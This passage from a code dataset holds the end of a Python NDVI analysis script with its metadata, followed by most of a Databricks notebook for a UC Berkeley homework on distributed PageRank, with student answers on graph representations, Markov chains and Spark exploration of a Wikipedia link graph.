directory\nos.chdir(os.path.join(et.io.HOME, \n                      'earth-analytics', \n                      'ea-2021-04-ndvi-automation-mike-petrut',\n                      'csv_output'))\n\n\nndvi_mean_results.to_csv('ndvi_mean_no_clean.csv', index = True)\n\nndvi_mean_cloud_cover_exnan.to_csv('ndvi_mean_clean.csv', index = True)\n\n# Revert working directory\nos.chdir(os.path.join(et.io.HOME, 'earth-analytics', 'data'))\n\n", "meta": {"hexsha": "16cbf9ab259429931970fcd4ce1f6e588887ad2a", "size": 26833, "ext": "py", "lang": "Python", "max_stars_repo_path": "mike-petrut-2021-04-ndvi-automation.py", "max_stars_repo_name": "mike-petrut/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "d496be72582267b591e0936fe2703b7d38aa1204", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mike-petrut-2021-04-ndvi-automation.py", "max_issues_repo_name": "mike-petrut/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "d496be72582267b591e0936fe2703b7d38aa1204", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mike-petrut-2021-04-ndvi-automation.py", "max_forks_repo_name": "mike-petrut/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "d496be72582267b591e0936fe2703b7d38aa1204", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.0658602151, "max_line_length": 543, "alphanum_fraction": 0.6878097865, "include": true, "reason": "import numpy", "num_tokens": 6538, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3311197396289915, "lm_q2_score": 0.23370634623958195, "lm_q1q2_score": 0.0773847845164933}}
{"text": "# Databricks notebook source\n# MAGIC %md\n# MAGIC # HW 5 - Page Rank\n# MAGIC __`MIDS w261: Machine Learning at Scale | UC Berkeley School of Information | Fall 2018`__\n# MAGIC \n# MAGIC In Weeks 8 and 9 you discussed key concepts related to graph based algorithms and implemented SSSP.   \n# MAGIC In this final homework assignment you'll implement distributed PageRank using some data from Wikipedia.\n# MAGIC By the end of this homework you should be able to:  \n# MAGIC * ... __compare/contrast__ adjacency matrices and lists as representations of graphs for parallel computation.\n# MAGIC * ... __explain__ the goal of the PageRank algorithm using the concept of an infinite Random Walk.\n# MAGIC * ... __define__ a Markov chain including the conditions underwhich it will converge.\n# MAGIC * ... __identify__ what modifications must be made to the web graph inorder to leverage Markov Chains.\n# MAGIC * ... __implement__ distributed PageRank in Spark.\n# MAGIC \n# MAGIC __Please refer to the `README` for homework submission instructions and additional resources.__\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Jeff Li, Sonya Chen, Karthik Srinivasan, Justin Trobec\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Notebook Set-Up\n# MAGIC Before starting your homework run the following cells to confirm your setup.\n\n# COMMAND ----------\n\n# imports\nimport re\nimport ast\nimport time\nimport numpy as np\nimport pandas as pd\n\nimport seaborn as sns\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Run the next cell to create your directory in dbfs\n# MAGIC You do not need to understand this scala snippet. It simply dynamically fetches your user directory name so that any files you write can be saved in your own directory.\n\n# COMMAND ----------\n\n# RUN THIS CELL AS IS\n# This code snippet reads the user directory name, and stores is in a python variable.\n# Next, it creates a folder inside your home folder, which you will use for files which you save inside this notebook.\nusername = dbutils.notebook.entry_point.getDbutils().notebook().getContext().tags().apply('user')\nuserhome = 'dbfs:/user/' + username\nprint(userhome)\nhw5_path = userhome + \"/HW5/\" \nhw5_path_open = '/dbfs' + hw5_path.split(':')[-1] # for use with python open()\ndbutils.fs.mkdirs(hw5_path)\n\n# COMMAND ----------\n\n# RUN THIS CELL AS IS. \ntot = 0\nDATA_PATH = 'dbfs:/mnt/mids-w261/HW5/'\nfor item in dbutils.fs.ls(DATA_PATH):\n  tot = tot+item.size\ntot\n# ~4.7GB\n\n# COMMAND ----------\n\n# RUN THIS CELL AS IS. You should see all-pages-indexed-in.txt, all-pages-indexed-out.txt and indices.txt in the results. If you do not see these, please let an Instructor or TA know.\ndisplay(dbutils.fs.ls(DATA_PATH))\n\n# COMMAND ----------\n\n# RUN THIS CELL AS IS - A test to make sure your directory is working as expected.\n# You should see a result like:\n# dbfs:/user/youremail@ischool.berkeley.edu/HW5/test.txt\ndbutils.fs.put(hw5_path+'test.txt',\"hello world\",True)\ndisplay(dbutils.fs.ls(hw5_path))\n\n\n# COMMAND ----------\n\nsc = spark.sparkContext\nspark\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 1: Distributed Graph Processing\n# MAGIC Chapter 5 from Lin & Dyer gave you a high level introduction to graph algorithms and concernts that come up when trying to perform distributed computations over them. The questions below are designed to make sure you captured the key points from this reading and your async lectures. \n# MAGIC \n# MAGIC ### Q1 Tasks:\n# MAGIC \n# MAGIC * __a) short response:__ Give an example of a dataset that would be appropriate to represent as a graph. What are the nodes/edges in this dataset? Is the graph you describe 'directed' or 'undirected'? What would the average \"in-degree\" of a node mean in the context of your example? \n# MAGIC \n# MAGIC * __b) short response:__ Other than their size/scale, what makes graphs uniquely challenging to work with in the map-reduce paradigm? *(__HINT__: Do not respond in terms of any specific algorithm. Think in terms of the nature of the graph datastructure itself).*\n# MAGIC \n# MAGIC * __c) short response:__ Briefly describe Dijskra's algorithm (goal/approach). What specific design component makes this approach hard to parallelize?\n# MAGIC \n# MAGIC * __d) short response:__ How does parallel breadth-first-search get around the problem that you identified in part `c`? At what expense?\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q1 Student Answers:\n# MAGIC \n# MAGIC > __1a)__ Give an example of a dataset that would be appropriate to represent as a graph. \n# MAGIC > What are the nodes/edges in this dataset? Is the graph you describe 'directed' or 'undirected'? \n# MAGIC > What would the average \"in-degree\" of a node mean in the context of your example?  \n# MAGIC > * For example, the relationship of twitter users would be appropriate to represent as a graph. \n# MAGIC > * In the twitter users example, nodes are users, and their relationship is the edges. \n# MAGIC > * In the twitter example, the edge is directed. The reason is that in twitter, userA can follow userB, but userB does not necessarily follow userA. \n# MAGIC > * Say UserA follows userA, then the edge starts at UserA and has the arrow pointing toward userB. And userA is a follower of UserB in this case. \n# MAGIC > * In-degree represents the number of incoming neighbors, or followers. \n# MAGIC > * The average \"in-degree\" of a node is the average number of followers a user has. \n# MAGIC \n# MAGIC \n# MAGIC > __1b)__ Other than their size/scale, what makes graphs uniquely challenging to work with in the map-reduce paradigm?\n# MAGIC > * It is challenging for map-reduce. The reason is a node could have many neighbors, and thus the results of a mapper might need to arrive at different reducers. \n# MAGIC > * Say if we have 10 mappers, and each mapper produces 10 results, and each of these 10 results need to arrive at different reducers.\n# MAGIC > * With 10 mappers, we might have 100 results that need to do a large amount of shuffling and combing before we can do the next step of computation. \n# MAGIC > * And that shuffling and combining is expensive as data traffic is costly. \n# MAGIC > * In addition, for graph computation, we have to do matrix multiplication. And if the matrix is very big, and matrix multiplication is expensive, a single machine might not be able to fit the all of that. \n# MAGIC > * One thing that can make graphs challenging to work with is that there are not necessarily natural partitionings of them. In other words, paths an algorithm may take through the graph might make it impossible to assign some nodes to an individual partition of the dataset.\n# MAGIC \n# MAGIC \n# MAGIC > __c)__ Briefly describe Dijskra's algorithm (goal/approach). What specific design component makes this approach hard to parallelize?\n# MAGIC >> * Dijstka is the algorithm's goal is to find the shortest path from starting position to the destination/all other nodes. \n# MAGIC >> * The approach Dijkstra take is:\n# MAGIC >> * The approach is we always pick the next node (Frontier) that is unvisited and has the shortest distance from the current node (with the info we have up until this point). \n# MAGIC >> * When we are at the next node, we again update the distance of all of its neighboring nodes. \n# MAGIC >> * Then again, we pick the next unvisited node with the shortest distance, and go there. \n# MAGIC >> * We do so until we reach our destination node. \n# MAGIC >> * When we pick which node to go next, we need to know the latest information of all the neighboring node. And the next node will update the information of neighbor nodes. And that update decides which node we go next again.\n# MAGIC >> * In Dijkstra's algorithm, we proceed to find the shortest paths by traversing one node at a time. This is done sequentially using a priority queue and works well on a single node computer. However, this does not make it amenable to parallelization.\n# MAGIC >> * In Dijkstra, the order of node visits matter! Because that ensures that we use the least cost to find the shortest path.\n# MAGIC >> * Thus in this approach, we can ONLY VISIT one node at a time. That means we cannot compute the results for several nodes at the same time. \n# MAGIC \n# MAGIC \n# MAGIC >__d)__ How does parallel breadth-first-search get around the problem that you identified in part `c`? At what expense?\n# MAGIC >> * The parallel breadth first search enables us to use a FIFO queue instead of the priority queue as seen in Dijkstra. In parallel BFS, the nodes on the same level can be processed at the same time.\n# MAGIC >> * If visiting a node has some cost associated with it, then the parallel breath-first-search will not minimize the complexity of finding the lowest cost. The additional complexity arises when a visited node is put back into the frontier queue. This happens when the aforementioned visited node has a newly computed shorter/smaller cost. This is an expensive operation since it explores all paths.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 2: Representing Graphs \n# MAGIC \n# MAGIC In class you saw examples of adjacency matrix and adjacency list representations of graphs. These data structures were probably familiar from HW3, though we hadn't before talked about them in the context of graphs. In this question we'll discuss some of the tradeoffs associated with these representations. __`NOTE:`__ We'll use the graph from Figure 5.1 in Lin & Dyer as a toy example. For convenience in the code below we'll label the nodes `A`, `B`, `C`, `D`, and `E` instead of \\\\(n_1\\\\), \\\\(n_2 \\\\), etc but otherwise you should be able to follow along & check our answers against those in the text.\n# MAGIC \n# MAGIC \n# MAGIC <img src=\"https://github.com/kyleiwaniec/w261_assets/blob/master/images/HW5/Lin-Dyer-graph-Q1.png?raw=true\" width=50%>\n# MAGIC \n# MAGIC ### Q2 Tasks:\n# MAGIC \n# MAGIC * __a) short response:__ Relatively speaking, is the graph you described in Figure 5.1 in Lin & Dyer \"sparse\" or \"dense\"?  Explain how sparsity/density impacts the adjacency matrix and adjacency list representations of a graph.\n# MAGIC \n# MAGIC * __b) short response:__ Run the provided code to create and plot our toy graph. Is this graph directed or undirected? Explain how the adjacency matrices for directed graphs will differ from those of undirected graphs.\n# MAGIC \n# MAGIC * __c) code:__ Fill in the missing code to complete the function `get_adj_matr()`.\n# MAGIC \n# MAGIC * __d) code:__ Fill in the missing code to complete the function `get_adj_list()`.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q2 Student Answers:\n# MAGIC > __a)__ This is relatively dense, compared to a graph like the world-wide-web. Sparse graphs will have a much smaller adjacency list representation compared to their matrix representation, as the matrix has to have an entry even for non-existent edges.\n# MAGIC \n# MAGIC > __b)__ The graph is directed. An adjacency matrix for an undirected graph will be symetric, while a directed graph's adjacency matrix will not.\n\n# COMMAND ----------\n\n# part a - a graph is just a list of nodes and edges (RUN THIS CELL AS IS)\nTOY_GRAPH = {'nodes':['A', 'B', 'C', 'D', 'E'],\n             'edges':[('A', 'B'), ('A', 'D'), ('B', 'C'), ('B', 'E'), ('C', 'D'), \n                      ('D', 'E'), ('E', 'A'),('E', 'B'), ('E', 'C')]}\n\n# COMMAND ----------\n\n# part a - simple visualization of our toy graph using nx (RUN THIS CELL AS IS)\nG = nx.DiGraph()\nG.add_nodes_from(TOY_GRAPH['nodes'])\nG.add_edges_from(TOY_GRAPH['edges'])\ndisplay(nx.draw(G, pos=nx.circular_layout(G), with_labels=True, alpha = 0.5))\n\n# COMMAND ----------\n\n# part c - adjacency matrix function\ndef get_adj_matr(graph):\n    \"\"\"\n    Function to create an adjacency matrix representation of a graph.\n    arg:\n        graph - (dict) of 'nodes' : [], 'edges' : []\n    returns:\n        pd.DataFrame with entry i,j representing an edge from node i to node j\n    \"\"\"\n    n = len(graph['nodes'])\n    adj_matr = pd.DataFrame(0, columns = graph['nodes'], index = graph['nodes'])\n    ############### YOUR CODE HERE ##################\n    for node1, node2 in graph['edges']:\n      adj_matr[node2][node1] = 1.0\n    ############### (END) YOUR CODE #################\n    return adj_matr\n\n# COMMAND ----------\n\n# part c - take a look (RUN THIS CELL AS IS)\nTOY_ADJ_MATR = get_adj_matr(TOY_GRAPH)\nprint(TOY_ADJ_MATR)\n\n# COMMAND ----------\n\n# part d - adjacency list function\ndef get_adj_list(graph):\n    \"\"\"\n    Function to create an adjacency list representation of a graph.\n    arg:\n        graph - (dict) of 'nodes' : [], 'edges' : []\n    returns:\n        dictionary of the form {node : [list of edges]}\n    \"\"\"\n    adj_list = {node: [] for node in graph['nodes']}\n    ############### YOUR CODE HERE ##################\n    for node1, node2 in graph['edges']:\n      adj_list[node1].append(node2)\n    ############### (END) YOUR CODE #################\n    return adj_list\n\n# COMMAND ----------\n\n# part d - take a look (RUN THIS CELL AS IS)\nTOY_ADJ_LIST = get_adj_list(TOY_GRAPH)\nprint(TOY_ADJ_LIST)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 3: Markov Chains and Random Walks\n# MAGIC \n# MAGIC As you know from your readings and in class discussions, the PageRank algorithm takes advantage of the machinery of Markov Chains to compute the relative importance of a webpage using the hyperlink structure of the web (we'll refer to this as the 'web-graph'). A Markov Chain is a discrete-time stochastic process. The stochastic matrix has a principal left eigen vector corresponding to its largest eigen value which is one. A Markov chain's probability distribution over its states may be viewed as a probability vector. This steady state probability for a state is the PageRank of the corresponding webpage. In this question we'll briefly discuss a few concepts that are key to understanding the math behind PageRank. \n# MAGIC \n# MAGIC ### Q3 Tasks:\n# MAGIC \n# MAGIC * __a) short response:__ It is common to explain PageRank using the analogy of a web surfer who clicks on links at random ad infinitum. In the context of this hypothetical infinite random walk, what does the PageRank metric measure/represent?\n# MAGIC \n# MAGIC * __b) short response:__ What is the \"Markov Property\" and what does it mean in the context of PageRank?\n# MAGIC \n# MAGIC * __c) short response:__ A Markov chain consists of \\\\(n\\\\) states plus an \\\\(n\\times n \\\\) transition probability matrix. In the context of PageRank & a random walk over the WebGraph what are the $n$ states? what implications does this have about the size of the transition matrix?\n# MAGIC \n# MAGIC * __d) code + short response:__ What is a \"right stochastic matrix\"? Fill in the code below to compute the transition matrix for the toy graph from question 2. [__`HINT:`__ _It should be right stochastic. Using numpy this calculation can be done in one line of code._]\n# MAGIC \n# MAGIC * __e) code + short response:__ To compute the stable state distribution (i.e. PageRank) of a \"nice\" graph we can apply the power iteration method - repeatedly multiplying the transition matrix by itself, until the values no longer change. Apply this strategy to your transition matrix from `part d` to find the PageRank for each of the pages in your toy graph. Your code should print the results of each iteration. How many iterations does it take to converge? Which node is most 'central' (i.e. highest ranked)? Does this match your intuition? \n# MAGIC     * __`NOTE 1:`__ _this is a naive approach, we'll unpack what it means to be \"nice\" in the next question_.\n# MAGIC     * __`NOTE 2:`__ _no need to implement a stopping criteria, visual inspection should suffice_.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q3 Student Answers:\n# MAGIC > __a)__ It is common to explain PageRank using the analogy of a web surfer who clicks on links at random ad infinitum. \n# MAGIC Q: In the context of this hypothetical infinite random walk, what does the PageRank metric measure/represent?\n# MAGIC \n# MAGIC > * The PageRank link analysis algorithm \"measures\" the relative number of visits the \"infinite\" websurfer will spend on each page in the WebGraph.\n# MAGIC \n# MAGIC > __b)__ What is the \"Markov Property\" and what does it mean in the context of PageRank?\n# MAGIC > * The Markov property is memorylessness, meaning the evolution of the Markov process in the future depends only on the present state and does not depend on past history. Markov processes provide a principled approach to calculating each page's PageRank. \n# MAGIC > * PageRank is the steady-state probability distribution of the Markov process underlying the random-surfer navigation model.\n# MAGIC \n# MAGIC > __c)__ A Markov chain consists of \\\\(n\\\\) states plus an \\\\( n\\times n\\\\) transition probability matrix. In the context of PageRank & a random walk over the WebGraph what are the \\\\(n\\\\) states? what implications does this have about the size of the transition matrix?\n# MAGIC > * This implies that the size of the transition matrix will be n x n matrix, where n is the number of nodes, or total number of pages in the whole graph.\n# MAGIC \n# MAGIC > __d)__ What is a \"right stochastic matrix\"?\n# MAGIC > * Right stochastic matrix is a non-negative real number square matrix, with each row summing to 1. In the context of Pagerank, it represents transition probabilities in a Markov Chain.\n# MAGIC \n# MAGIC > __e)__ To compute the stable state distribution (i.e. PageRank) of a \"nice\" graph we can apply the power iteration method - repeatedly multiplying the transition matrix by itself, \n# MAGIC until the values no longer change. Apply this strategy to your transition matrix from `part d` to find the PageRank for each of the pages in your toy graph. \n# MAGIC \n# MAGIC > Q: How many iterations does it take to converge? \n# MAGIC > * It takes 50-60 iterations to converge, depending on the stopping criteria.\n# MAGIC \n# MAGIC > Q: Which node is most 'central' (i.e. highest ranked)? Does this match your intuition? \n# MAGIC > * Node E is the most central node (or highest ranking node). It is close to my intuition.\n\n# COMMAND ----------\n\n# part d - recall what the adjacency matrix looked like (RUN THIS CELL AS IS)\nTOY_ADJ_MATR\n\n# COMMAND ----------\n\n# part d - use TOY_ADJ_MATR to create a right stochastic transition matrix for this graph\n################ YOUR CODE HERE #################\ndef create_transition_matrix(adj_matrix):\n    return adj_matrix.mul((1.0 / adj_matrix.sum(axis=1)), axis=0).fillna(0)\n    \ntransition_matrix = create_transition_matrix(TOY_ADJ_MATR) # replace with your code\n################ (END) YOUR CODE #################\nprint(transition_matrix)\n\n# COMMAND ----------\n\n# part e - compute the steady state using the transition matrix \ndef power_iteration(xInit, tMatrix, nIter, verbose = True):\n    \"\"\"\n    Function to perform the specified number of power iteration steps to \n    compute the steady state probability distribution for the given\n    transition matrix.\n    \n    Args:\n        xInit     - (n x 1 array) representing inial state\n        tMatrix  - (n x n array) transition probabilities\n        nIter     - (int) number of iterations\n    Returns:\n        state_vector - (n x 1 array) representing probability \n                        distribution over states after nSteps.\n    \n    NOTE: if the 'verbose' flag is on, your function should print the step\n    number and the current matrix at each iteration.\n    \"\"\"\n    state_vector = None\n    ################ YOUR CODE HERE #################\n    state_vector = xInit/np.sum(xInit)\n\n    for i in range(nIter):\n        print(i)\n        new_state_vector = np.dot(np.transpose(tMatrix.to_numpy()),state_vector)\n        state_vector = new_state_vector\n        if verbose:\n            for i in range(tMatrix.shape[0]):\n                print('Node {}: {}'.format(tMatrix.index[i], new_state_vector[i]))\n            print(np.sum(new_state_vector))\n    for i in range(tMatrix.shape[0]):\n        print('Node {}: {}'.format(tMatrix.index[i], new_state_vector[i]))\n    ################ (END) YOUR CODE #################\n    return state_vector\n\n# COMMAND ----------\n\n# part e - run 10 steps of the power_iteration (RUN THIS CELL AS IS)\nxInit = np.array([1.0, 0.0, 0, 0, 0]) # note that this initial state will not affect the convergence states\nstates = power_iteration(xInit, transition_matrix, 100, verbose = True)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC __`Expected Output for part e:`__  \n# MAGIC >Steady State Probabilities:\n# MAGIC ```\n# MAGIC Node A: 0.10526316  \n# MAGIC Node B: 0.15789474  \n# MAGIC Node C: 0.18421053  \n# MAGIC Node D: 0.23684211  \n# MAGIC Node E: 0.31578947  \n# MAGIC ```\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 4: Page Rank Theory\n# MAGIC \n# MAGIC Seems easy right? Unfortunately applying this power iteration method directly to the web-graph actually runs into a few problems. In this question we'll tease apart what we meant by a 'nice graph' in Question 3 and highlight key modifications we'll have to make to the web-graph when performing PageRank. To start, we'll look at what goes wrong when we try to repeat our strategy from question 3 on a 'not nice' graph.\n# MAGIC \n# MAGIC __`Additional References:`__ http://pi.math.cornell.edu/~mec/Winter2009/RalucaRemus/Lecture3/lecture3.html\n# MAGIC \n# MAGIC ### Q4 Tasks:\n# MAGIC \n# MAGIC * __a) code + short response:__ Run the provided code to create and plot our 'not nice' graph. Fill in the missing code to compute its transition matrix & run the power iteration method from question 3. What is wrong with what you see? [__`HINT:`__ _there is a visible underlying reason that it isn't converging... try adding up the probabilities in the state vector after each iteration._]\n# MAGIC \n# MAGIC * __b) short response:__  Identify the dangling node in this 'not nice' graph and explain how this node causes the problem you described in 'a'. How could we modify the transition matrix after each iteration to prevent this problem?\n# MAGIC \n# MAGIC * __c) short response:__ What does it mean for a graph to be irreducible? Is the webgraph naturally irreducible? Explain your reasoning briefly.\n# MAGIC \n# MAGIC * __d) short response:__ What does it mean for a graph to be aperiodic? Is the webgraph naturally aperiodic? Explain your reasoning briefly.\n# MAGIC \n# MAGIC * __e) short response:__ What modification to the webgraph does PageRank make in order to guarantee aperiodicity and irreducibility? Interpret this modification in terms of our random surfer analogy.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q4 Student Answers:\n# MAGIC \n# MAGIC > __a)__ Run the provided code to create and plot our 'not nice' graph. Fill in the missing code to compute its transition matrix & run the power iteration method from question 3. What is wrong with what you see?\n# MAGIC > * The states of this graph do not converge to a stable state after power iteration. This is because the transition matrix does not qualify as a stochastic matrix.\n# MAGIC \n# MAGIC > __b.1)__ Identify the dangling node in this 'not nice' graph \n# MAGIC and explain how this node causes the problem you described in 'a'. \n# MAGIC > * The dangling node here is Node-E. \n# MAGIC > * Node-E has two incoming routes, but NO outward route. \n# MAGIC \n# MAGIC > __b2)__ How could we modify the transition matrix after each iteration to prevent this problem?\n# MAGIC > * We would modify the transition matrix to incorporate the idea of teleporting to solve this problem. \n# MAGIC > * $$NewTransitionMatrix=(1-\\alpha) \\* \\text{transition matrix} + \\alpha \\* \\text{teleporting matrix}$$\n# MAGIC > * Thus with this new stochastic transition matrix, it will solve both the dangling node and periodic problem. \n# MAGIC > * This is important because only a well-behaved graph (irreducible and aperiodic) can converge. \n# MAGIC \n# MAGIC > __c)__ What does it mean for a graph to be irreducible? Is the webgraph naturally irreducible? Explain your reasoning briefly.\n# MAGIC > * A graph is irreducible if there is a route from every node to every other node. \n# MAGIC > * The webgraph (Toy2_Graph) is NOT irreducible because you cannot travel to another node from Node E.\n# MAGIC \n# MAGIC > __d)__ What does it mean for a graph to be aperiodic? Is the webgraph naturally aperiodic? Explain your reasoning briefly.\n# MAGIC > * Aperiodic means that the period, or greatest common divisor (GCD), of all cycle lengths is 1.\n# MAGIC > * This Toy2 webgraph is not naturally aperiodic because not even one node can arrive at itself. All the nodes in the  Toy2 webgraph has to at least wait more than 1 iteration to arrive at it self. \n# MAGIC \n# MAGIC > __e)__ What modification to the webgraph does PageRank make in order to guarantee aperiodicity and irreducibility? Interpret this modification in terms of our random surfer analogy.\n# MAGIC > * We would modify the transition matrix to incorporate the idea of teleporting to solve this problem. In the context of the random surfer, it means that there is a chance that the surfer could reach any other page in our webgraph from the current page.\n# MAGIC > * $$NewTransitionMatrix=(1-\\alpha) \\* \\text{transition matrix} + \\alpha \\* \\text{teleporting matrix}$$\n# MAGIC > * Thus with this new stochastic transition matrix, it will solve both the dangling node and periodic problem. \n# MAGIC > * This is important because only a well-behaved graph (irreducible and aperiodic) can converge.\n\n# COMMAND ----------\n\n# part a - run this code to create a second toy graph (RUN THIS CELL AS IS)\nTOY2_GRAPH = {'nodes':['A', 'B', 'C', 'D', 'E'],\n              'edges':[('A', 'B'), ('A', 'C'), ('A', 'D'), ('B', 'D'), \n                       ('B', 'E'), ('C', 'A'), ('C', 'E'), ('D', 'B')]}\n\n# COMMAND ----------\n\n# part a - simple visualization of our test graph using nx (RUN THIS CELL AS IS)\nG = nx.DiGraph()\nG.add_nodes_from(TOY2_GRAPH['nodes'])\nG.add_edges_from(TOY2_GRAPH['edges'])\ndisplay(nx.draw(G, pos=nx.circular_layout(G), with_labels=True, alpha = 0.5))\n\n# COMMAND ----------\n\n# part a - run 10 steps of the power iteration method here\n# HINT: feel free to use the functions get_adj_matr() and power_iteration() you wrote above\n################ YOUR CODE HERE #################\nTOY_ADJ_MATR2 = get_adj_matr(TOY2_GRAPH)\nprint(TOY_ADJ_MATR2)\ntransition_matrix2 = create_transition_matrix(TOY_ADJ_MATR2) # replace with your code\nprint(transition_matrix2)\nxInit = np.array([1.0, 0.0, 0.0, 0.0, 0.0]) # note that this initial state will not affect the convergence states\nstates = power_iteration(xInit, transition_matrix2, 10, verbose = True)\n\n################ (END) YOUR CODE #################\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # About the Data\n# MAGIC The main dataset for this data consists of a subset of a 500GB dataset released by AWS in 2009. The data includes the source and metadata for all of the Wikimedia wikis. You can read more here: \n# MAGIC > https://aws.amazon.com/blogs/aws/new-public-data-set-wikipedia-xml-data. \n# MAGIC \n# MAGIC As in previous homeworks we'll be using a 2GB subset of this data, which is available to you in this dropbox folder: \n# MAGIC > https://www.dropbox.com/sh/2c0k5adwz36lkcw/AAAAKsjQfF9uHfv-X9mCqr9wa?dl=0. \n# MAGIC \n# MAGIC Use the cells below to download the wikipedia data and a test file for use in developing your PageRank implementation(note that we'll use the 'indexed out' version of the graph) and to take a look at the files.\n\n# COMMAND ----------\n\ndbutils.fs.ls(DATA_PATH)\n\n# COMMAND ----------\n\n# open test_graph.txt file to see format (RUN THIS CELL AS IS)\nwith open('/dbfs/mnt/mids-w261/HW5/test_graph.txt', \"r\") as f_read:\n  for line in f_read:\n    print(line)\n\n# COMMAND ----------\n\n# load the data into Spark RDDs for convenience of use later (RUN THIS CELL AS IS)\nDATA_PATH = 'dbfs:/mnt/mids-w261/HW5/'\ntestRDD = sc.textFile(DATA_PATH +'test_graph.txt')\nindexRDD = sc.textFile(DATA_PATH + '/indices.txt')\nwikiRDD = sc.textFile(DATA_PATH + '/all-pages-indexed-out.txt')\n\n# COMMAND ----------\n\n# display testRDD (RUN THIS CELL AS IS)\ntestRDD.take(10)\n\n# COMMAND ----------\n\n# display indexRDD (RUN THIS CELL AS IS)\nindexRDD.take(10)\n\n# COMMAND ----------\n\n# display wikiRDD (RUN THIS CELL AS IS)\nwikiRDD.take(10)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 5: EDA part 1 (number of nodes)\n# MAGIC \n# MAGIC As usual, before we dive in to the main analysis, we'll peform some exploratory data anlysis to understand our dataset. Please use the test graph that you downloaded to test all your code before running the full dataset.\n# MAGIC \n# MAGIC ### Q5 Tasks:\n# MAGIC * __a) short response:__ In what format is the raw data? What does the first value represent? What does the second part of each line represent? [__`HINT:`__ _no need to go digging here, just visually inspect the outputs of the head commands that we ran after loading the data above._]\n# MAGIC \n# MAGIC * __b) code + short response:__ Run the provided bash command to count the number of records in the raw dataset. Explain why this is _not_ the same as the number of total nodes in the graph.\n# MAGIC \n# MAGIC * __c) code:__ In the space provided below write a Spark job to count the _total number_ of nodes in this graph. \n# MAGIC \n# MAGIC * __d) short response:__ How many dangling nodes are there in this wikipedia graph? [__`HINT:`__ _you should not need any code to answer this question._]\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q5 Student Answers:\n# MAGIC * __a)__ In what format is the raw data? What does the first value represent? What does the second part of each line represent? [__`HINT:`__ _no need to go digging here, just visually inspect the outputs of the head commands that we ran after loading the data above._]\n# MAGIC > * Each line looks like a key value pair with a tab separated  value, where the key is the node id, and the value is an adjacency list, where each value is outgoing node and the number of edges to the outgoing node.\n# MAGIC > * The raw data is a list of string, where inside each string embedded \"node\" and its a dictionary, which contains the corresponding outward neighbors from the node (the first value of the string). \n# MAGIC > * The first value corresponding to a particular node. \n# MAGIC > * The second part of each line represents the outgoing nodes from the corresponding node (which is the key of each line). Simple answer is the the second part of each line is the outgoing neighbors of the node (which is the key of each line). \n# MAGIC \n# MAGIC * __b)__ Run the provided bash command to count the number of records in the raw dataset. Explain why this is _not_ the same as the number of total nodes in the graph.\n# MAGIC > * The number of records is not the same as the number of nodes in the graph. The reason is that each record in the list represents a node and its out-ward neighbors. If say a node has no outgoing edges, then this node will not be represented in a record in the list. Yet, this node might have the incoming edges. \n# MAGIC \n# MAGIC * __d)__ How many dangling nodes are there in this wikipedia graph? [__`HINT:`__ _you should not need any code to answer this question._]\n# MAGIC > * Dangling node (nodes that has not out-going edges)\n# MAGIC > * num_node_nodes - num_of_records = 15192277 - 5781290 = 9410987 dangling node\n\n# COMMAND ----------\n\n# part b - count the number of records in the raw data (RUN THIS CELL AS IS)\n# 5781290\nprint(wikiRDD.count())\n\n# COMMAND ----------\n\n# part c - write your Spark job here (compute total number of nodes)\ndef count_nodes(dataRDD):\n    \"\"\"\n    Spark job to count the total number of nodes.\n    Returns: integer count \n    \"\"\"    \n    ############## YOUR CODE HERE ###############\n    \n#     temp = dataRDD.flatMap(lambda x: [(k,1) for k,v in ast.literal_eval(x.split('\\t')[1]).items()]+ [(x.split('\\t')[0],1)]) \\\n#                   .reduceByKey(lambda x,y : x + y) \\\n#                   .cache()         \n    temp = dataRDD.flatMap(lambda x: [k for k,v in ast.literal_eval(x.split('\\t')[1]).items()]+ [x.split('\\t')[0]]).distinct().cache()\n    ############## (END) YOUR CODE ###############   \n    return temp.count()\n\n# COMMAND ----------\n\n# part c - run your counting job on the test file (RUN THIS CELL AS IS)\nstart = time.time()\ntot = count_nodes(testRDD)\nprint(f'... completed job in {time.time() - start} seconds.')\nprint(f'Total Nodes: {tot}')\n\n# COMMAND ----------\n\n# part c - run your counting job on the full file (RUN THIS CELL AS IS)\nstart = time.time()\ntot = count_nodes(wikiRDD)\nprint(f'... completed job in {time.time() - start} seconds.')\nprint(f'Total Nodes: {tot}')\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 6 - EDA part 2 (out-degree distribution)\n# MAGIC \n# MAGIC As you've seen in previous homeworks the computational complexity of an implementation depends not only on the number of records in the original dataset but also on the number of records we create and shuffle in our intermediate representation of the data. The number of intermediate records required to update PageRank is related to the number of edges in the graph. In this question you'll compute the average number of hyperlinks on each page in this data and visualize a distribution for these counts (the out-degree of the nodes). \n# MAGIC \n# MAGIC ### Q6 